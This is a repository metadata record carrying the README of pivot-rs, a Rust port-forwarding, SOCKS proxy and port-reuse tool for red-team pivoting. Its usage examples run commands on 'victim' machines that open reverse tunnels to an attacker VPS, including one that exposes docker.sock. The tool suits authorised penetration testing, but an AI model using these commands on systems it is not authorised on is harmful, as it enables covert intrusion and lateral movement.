{"id":23495999,"url":"https://github.com/X1r0z/pivot-rs","last_synced_at":"2025-08-27T20:31:50.637Z","repository":{"id":268975977,"uuid":"905733777","full_name":"X1r0z/pivot-rs","owner":"X1r0z","description":"pivot-rs is a lightweight port-forwarding and socks proxy tool written in Rust 🦀","archived":false,"fork":false,"pushed_at":"2025-02-01T14:31:45.000Z","size":104,"stargazers_count":34,"open_issues_count":1,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-02-01T15:21:49.547Z","etag":null,"topics":["intranet","pentration-testing","pivoting","port-forwarding","port-reuse","proxy","red-team","socks5","tunnel"],"latest_commit_sha":null,"homepage":"","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/X1r0z.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-12-19T12:17:53.000Z","updated_at":"2025-02-01T14:31:49.000Z","dependencies_parsed_at":"2024-12-24T05:27:49.720Z","dependency_job_id":null,"html_url":"https://github.com/X1r0z/pivot-rs","commit_stats":null,"previous_names":["x1r0z/rsproxy","x1r0z/pivot-rs"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/X1r0z/pivot-rs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/X1r0z%2Fpivot-rs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/X1r0z%2Fpivot-rs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/X1r0z%2Fpivot-rs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/X1r0z%2Fpivot-rs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/X1r0z","download_url":"https://codeload.github.com/X1r0z/pivot-rs/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/X1r0z%2Fpivot-rs/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":272376055,"owners_count":24923685,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-27T02:00:09.397Z","response_time":76,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["intranet","pentration-testing","pivoting","port-forwarding","port-reuse","proxy","red-team","socks5","tunnel"],"created_at":"2024-12-25T04:01:28.387Z","updated_at":"2025-08-27T20:31:50.631Z","avatar_url":"https://github.com/X1r0z.png","language":"Rust","funding_links":[],"categories":["Rust"],"sub_categories":[],"readme":"# pivot-rs\n\n[English](README.md) | [简体中文](README.zh.md)\n\n`pivot-rs` is a lightweight port-forwarding and socks proxy tool written in Rust 🦀\n\n## Build\n\nThe project currently only releases binaries for the following architectures (based on GitHub Actions):\n\n- x86_64-unknown-linux-gnu\n- x86_64-apple-darwin\n- aarch64-apple-darwin\n- x86_64-pc-windows-msvc\n\n*`x86_64-unknown-linux-gnu` and `x86_64-pc-windows-msvc` will have an additional UPX compressed binary file*\n\nIf the architecture you need is not in the list above, you can build it yourself.\n\n```bash\ngit clone https://github.com/X1r0z/pivot-rs\ncd pivot-rs\ncargo build --release\n```\n\n## Feature\n\n- TCP/UDP port forwarding\n- Unix domain socket forwarding (e.g. `/var/run/docker.sock`)\n- Socks5 proxy (no/with authentication)\n- TCP port reuse with `SO_REUSEADDR` and `SO_REUSEPORT`\n- Multi layer proxy support\n- TLS encryption support\n\n## Usage\n\n`pivot-rs` has three modes: port forwarding, socks proxy and port reuse mode, corresponding to the `fwd`, `proxy` and `reuse` parameters respectively.\n\n```bash\n$ ./pivot -h\n\nPivot: Port-Forwarding and Proxy Tool\n\nUsage: pivot \u003cCOMMAND\u003e\n\nCommands:\n  fwd    Port forwarding mode\n  proxy  Socks proxy mode\n  reuse  Port reuse mode\n  help   Print this message or the help of the given subcommand(s)\n\nOptions:\n  -h, --help     Print help\n  -V, --version  Print version\n```\n\nPort forwarding mode\n\n```bash\n$ ./pivot fwd -h\n\nPort forwarding mode\n\nUsage: pivot fwd [OPTIONS]\n\nOptions:\n  -l, --locals \u003cLOCALS\u003e            Local listen IP address, format: [+][IP:]PORT\n  -r, --remotes \u003cREMOTES\u003e          Remote connect IP address, format: [+]IP:PORT\n  -s, --socket \u003cSOCKET\u003e            Unix domain socket path\n  -p, --protocol \u003cPROTOCOL\u003e        Forward Protocol [default: tcp] [possible values: tcp, udp]\n  -c, --connections \u003cCONNECTIONS\u003e  Maximum connections [default: 32]\n  -h, --help                       Print help (see more with '--help')\n```\n\nSocks proxy mode\n\n```bash\n$ ./pivot proxy -h\n\nSocks proxy mode\n\nUsage: pivot proxy [OPTIONS]\n\nOptions:\n  -l, --locals \u003cLOCALS\u003e            Local listen IP address, format: [+][IP:]PORT\n  -r, --remote \u003cREMOTE\u003e            Reverse server IP address, format: [+]IP:PORT\n  -a, --auth \u003cAUTH\u003e                Authentication info, format: user:pass (other for random)\n  -c, --connections \u003cCONNECTIONS\u003e  Maximum connections [default: 32]\n  -h, --help                       Print help\n```\n\nPort reuse mode\n\n```bash\n$ ./pivot reuse -h\n\nPort reuse mode\n\nUsage: pivot reuse [OPTIONS] --local \u003cLOCAL\u003e --remote \u003cREMOTE\u003e --external \u003cEXTERNAL\u003e\n\nOptions:\n  -l, --local \u003cLOCAL\u003e        Local reuse IP address, format: IP:PORT\n  -r, --remote \u003cREMOTE\u003e      Remote redirect IP address, format: IP:PORT\n  -f, --fallback \u003cFALLBACK\u003e  Fallback IP address, format: IP:PORT\n  -e, --external \u003cEXTERNAL\u003e  External IP address, format: IP\n  -t, --timeout \u003cTIMEOUT\u003e    Timeout to stop port reuse\n  -h, --help                 Print help\n```\n\n### TCP Port Forwarding\n\nListen on `0.0.0.0:8888` and `0.0.0.0:9999`, forward traffic between them.\n\n*specify `127.0.0.1:PORT` to listen on local address*\n\n```bash\n./pivot fwd -l 8888 -l 9999\n```\n\nListen on `0.0.0.0:8888`, forward traffic to a remote address.\n\n```bash\n./pivot fwd -l 8888 -r 10.0.0.1:9999\n```\n\nConnect `10.0.0.1:8888` and `10.0.0.2:9999`, forward traffic between them.\n\n```bash\n./pivot fwd -r 10.0.0.1:8888 -r 10.0.0.1:9999\n```\n\nIn this mode, specifying `-c` can set the maximum number of TCP connections (default is 32)\n\nA basic example of accessing an intranet address through port forwarding.\n\n```bash\n# on attacker's machine\n./pivot fwd -l 8888 -l 9999\n\n# on victim's machine\n./pivot fwd -r 10.0.0.1:3389 -r vps:8888\n\n# now attacker can access 10.0.0.1:3389 through vps:9999\n```\n\nA complex example, multi-layer forwarding in the intranet.\n\n```bash\n# on machine A (10.0.0.1, 172.16.0.1)\n./pivot fwd -r 10.0.0.10:3389 -l 7777\n\n# on machine B (172.16.0.2, 192.168.1.1)\n./pivot fwd -r 172.16.0.1:7777 -r 192.168.1.2:8888\n\n# on machine C (192.168.1.2, DMZ)\n./pivot fwd -l 8888 -r vps:9999\n\n# on attacker's machine\n./pivot fwd -l 9999 -l 33890\n\n# now attacker can access 10.0.0.10:3389 through vps:33890\n```\n\nNote that the command on machine B need to be executed last. Because this mode will check the connectivity between the two remote addresses.\n\n### UDP Port Forwarding\n\nThe usage of UDP port forwarding is similar to TCP, simply add `-p udp` parameter.\n\n**This feature may be unstable.**\n\nNote that when using **reverse** UDP port forwarding, a handshake packet will be sent to keep the client address.\n\nExample:\n\n```bash\n# on attacker's machine\n./pivot fwd -l 8888 -l 9999 -p udp\n\n# on victim's machine\n./pivot fwd -r 10.0.0.1:53 -r vps:8888 -p udp\n```\n\nThe victim's machine will send a 4-byte handshake packet (with all 0s) to `vps:8888`, which is the attacker's machine.\n\nThe attacker's machine will remember the client address, and forward the traffic to it when user connects to `vps:9999`.\n\n**Because of the handshake packet, the parameters must be in order and cannot be swapped.**\n\nAnother example:\n\n```bash\n# on machine A (10.0.0.1, 192.168.1.1, intranet)\n./pivot fwd -r 10.0.0.10:53 -l 7777 -p udp\n\n# on machine B (192.168.1.2, DMZ)\n./pivot fwd -r 192.168.1.1:7777 -r vps:8888 -p udp # this command need to be executed last\n\n# on attacker's machine\n./pivot fwd -l 8888 -l 9999 -p udp\n```\n\nThe handshake packet will be sent from machine B to the attacker's machine (port 8888). Users can connect to the intranet through port 9999.\n\n### Unix domain socket Forwarding\n\n*This feature is only supported on Linux and macOS*\n\nA Unix domain socket is a IPC (Inter-Process Communication) method that allows data to be exchanged between processes running on the same machine.\n\n`/var/run/docker.sock` and `/var/run/php-fpm.sock` are common Unix domain sockets.\n\nYou can forward Unix domain socket to a TCP port.\n\n```bash\n./pivot fwd -s /var/run/docker.sock -l 4444\n\n# get docker version\ncurl http://127.0.0.1:4444/version\n```\n\nor in the reverse mode.\n\n```bash\n# on victim's machine\n./pivot fwd -s /var/run/docker.sock -r vps:4444\n\n# on attacker's machine\n./pivot fwd -l 4444 -l 5555\n\n# get docker version\ncurl http://vps:5555/version\n```\n\n### Socks Proxy\n\n`pivot-rs` supports socks5 proxy (no/with authentication)\n\nForward socks proxy\n\n```bash\n./pivot proxy -l 1080\n```\n\nReverse socks proxy\n\n```bash\n# on attacker's machine\n./pivot proxy -l 7777 -l 8888\n# The first -l specifies the control port\n# The second -l specifies the proxy port\n\n# on victim's machine\n./pivot proxy -r vps:7777\n\n# now attacker can use socks proxy on vps:8888\n```\n\nThe port 7777 in the above example is called the control port, which uses TCP multiplexing technology to ensure that multiple TCP streams (i.e., multiple socks proxy requests) can be processed within a single TCP long connection.\n\nTherefore, the order of ports 7777 and 8888 **cannot be reversed**\n\nIn addition, in this scenario, the victim machine can specify the `-c` parameter to set the maximum number of connections (the default is 32)\n\n*The maximum number of connections here refers to the maximum number of streams processed simultaneously in the TCP multiplexing scenario*\n\nTo enable authentication, simply add `user:pass` after the `-a` flag.\n\n```bash\n./pivot proxy -l 1080 -a user:pass\n```\n\n`pivot-rs` will generate a random username and password if you pass a string to `-a` flag which does not have the `user:pass` format.\n\n```bash\n./pivot proxy -l 1080 -a rand\n\n# the random username and password will be output to the console\n```\n\n`pivot-rs` supports forwarding unauthenticated socks requests to authenticated socks proxies\n\n*Currently, Chrome, Edge and FireFox browsers do not support authenticated socks proxies, so this method can be used to bypass restrictions while ensuring the security of socks proxies.*\n\n```bash\n# vps:1080 requires authentication (user:pass)\n\n# listen to port 1080 and forward socks requests to vps:1080 with authentication\n./pivot proxy -l 1080 -r vps:1080 -a user:pass\n\n# now the browser can use 127.0.0.1:1080 as a socks proxy (no authentication required)\n# authentication info will be forwarded automatically\n```\n\n### TLS Encryption\n\nTLS encryption is supported for TCP, Unix domain socket forwarding and socks proxy.\n\nTo enable encryption, simple add `+` sign in front of the address or port.\n\nFor ease of use, the server uses a self-signed TLS certificate by default, and the client trusts all certificates (no verify).\n\nExample of a TLS encrypted TCP port forwarding.\n\n```bash\n# on attacker's machine\n./pivot fwd -l +7777 -l 33890\n\n# on victim's machine\n./pivot fwd -r 127.0.0.1:3389 -r +vps:7777\n\n# now attacker can access 3389 through vps:33890, and the traffic on port 7777 will be encrypted\n```\n\nExample of a TLS encrypted reverse socks proxy.\n\n```bash\n# on attacker's machine\n./pivot proxy -l +7777 -l 8888\n\n# on victim's machine\n./pivot proxy -r +vps:7777\n\n# now attacker can use socks proxy on vps:8888, and the traffic on port 7777 will be encrypted\n```\n\n### TCP Port Reuse\n\n`pivot-rs` supports TCP port reuse with `SO_REUSEADDR` and `SO_REUSEPORT` options.\n\nThe behavior of port reuse differs from operation systems.\n\nIn Windows, there is only `SO_REUSEADDR` option, which allows multiple sockets to bind to the same address and port. But there are some limitations, depending on the account performing port reuse, and the ip address you are binding to. You can refer to the following link for details.\n\n[https://learn.microsoft.com/en-us/windows/win32/winsock/using-so-reuseaddr-and-so-exclusiveaddruse](https://learn.microsoft.com/en-us/windows/win32/winsock/using-so-reuseaddr-and-so-exclusiveaddruse)\n\nLinux implements port reuse through the two options `SO_REUSEADDR` and `SO_REUSEPORT`, the principle is to bind different IP addresses.\n\n| Reuse/Listen Addr | 0.0.0.0 | 192.168.1.1 | 10.0.0.1 |\n| :---------------: | :-----: | :---------: | :------: |\n|    **0.0.0.0**    |    x    |      x      |    x     |\n|  **192.168.1.1**  |    x    |      x      |    √     |\n|   **10.0.0.1**    |    x    |      √      |    x     |\n\n`0.0.0.0` is mutually exclusive with any other address, that is, if a program listens on the `0.0.0.0:80` address, it cannot reuse port 80 (and vice versa).\n\nThere is another scenario where port reuse with exactly the same IP address can be achieved, that is, a program itself sets the `SO_REUSEPORT` option, and the uid of the user executing the program is the same as the uid of the user executing port reuse.\n\nThe port reuse logic of macOS is similar to that of Linux, but the difference is that `0.0.0.0` is no longer mutually exclusive. Even if a program has bound to `0.0.0.0`, other programs can still bind to a specific IP address (and vice versa).\n\n| Reuse/Listen Addr | 0.0.0.0 | 192.168.1.1 | 10.0.0.1 |\n| :---------------: | :-----: | :---------: | :------: |\n|    **0.0.0.0**    |    x    |      √      |    √     |\n|  **192.168.1.1**  |    √    |      x      |    √     |\n|   **10.0.0.1**    |    √    |      √      |    x     |\n\nTo reuse a port, you need to specify the local address, remote address, fallback address and external address.\n\n`-l` specify the local address you are reusing\n\n`-r` specify the remote address you are redirecting to\n\n`-f` specify the fallback address that other people who are not from the external address will connect to (e.g. normal users)\n\n`-e` specify the external address of attacker's machine, which will connect to the remote address through port reuse mechanism\n\nFor example, reuse the port 8000\n\n```bash\n./pivot reuse -l 192.168.1.1:8000 -r 10.0.0.1:22 -f 127.0.0.1:8000 -e 1.2.3.4\n```\n\nAttackers from external address `1.2.3.4` will connect to `10.0.0.1:22` through `192.168.1.1:8000`, the normal users will fallback to `127.0.0.1:8000` (prevent the service on port 8000 being affected)\n\nIt is not recommended to reuse ports on `0.0.0.0` address, because it will make the fallback address useless (the fallback connection will still go through the port reuse process, keep looping, and eventually crash)\n\nSometimes the fallback address is not necessary, you can omit it and set a timeout.\n\n```bash\n./pivot reuse -l 192.168.1.1:8000 -r 10.0.0.1:22 -e 1.2.3.4 -t 10\n```\n\nThe timeout means stopping the reuse listener after a specific time (10s), and continuing to forward the alive connections.\n\n## Reference\n\n[https://github.com/EddieIvan01/iox](https://github.com/EddieIvan01/iox)\n\n[https://github.com/p1d3er/port_reuse](https://github.com/p1d3er/port_reuse)\n\n[https://ph4ntonn.github.io/port-reuse](https://ph4ntonn.github.io/Port-reuse)\n\n[https://saucer-man.com/operation_and_maintenance/586.html](https://saucer-man.com/operation_and_maintenance/586.html)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FX1r0z%2Fpivot-rs","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FX1r0z%2Fpivot-rs","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FX1r0z%2Fpivot-rs/lists"}